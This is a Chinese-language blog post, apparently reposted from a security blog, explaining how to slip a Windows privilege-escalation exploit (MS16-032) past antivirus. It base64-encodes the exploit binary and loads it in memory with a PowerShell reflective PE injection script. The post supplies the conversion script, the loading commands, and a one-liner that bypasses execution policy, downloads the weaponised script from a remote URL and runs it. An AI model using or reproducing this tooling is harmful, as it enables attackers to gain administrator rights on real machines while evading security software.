powershell中使用ReflectivePEInjection繞過殺毒
有時候,使用某些exp進行提權的時候,exp可能會被查殺,當然,有源碼的話,我們可以在源碼上進行修改進行免殺處理,但是今天介紹的是另外一隻方法,即使用PEloader來載入exp。
powershell的PEloader在這裡,查看代碼我們可以看到,這個腳本使用非常簡單,具體代碼如下:
$PEBytes = [IO.File]::ReadAllBytes("DemoEXE.exe")
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
獲取exp的位元組流,之後再在內存中載入exp,所以思路也很簡單,我們只需要把需要的exp轉換成字元串,寫入腳本,就可以構造一個powershell腳本。
這裡整理了一個腳本方便轉換:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw "$ByteArray is $null.";
}
$Base64String | set-content ("b64.txt")
}
使用zcgonvh的16032做演示。使用腳本轉換:
PS C:Usersevi1cgDesktop16_032> . .Convert-BinaryToString.ps1
PS C:Usersevi1cgDesktop16_032> Convert-BinaryToString -FilePath .ms16-032_x64.exe
生成base64的字元串並存儲在b64.txt中。
使用如下命令進行轉換:
$InputString = "base64string"
$PEBytes = [System.Convert]::FromBase64String($InputString)
Invoke-ReflectivePEInjection -PEBytes $PEBytes
進行載入,最後分享一下最終的腳本:
E2P_MS16-032.ps1
使用方式為:
E2P_MS16-032 -Command ""net user""
遠程載入命令:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1");E2P_MS16-032 -Command ""whoami"""
文章出處:Evi1cg"s blog
你可能喜歡
※Win10 系統直接運行 Kali Linux
※Drupal遠程代碼執行漏洞分析
TAG:黑白之道 |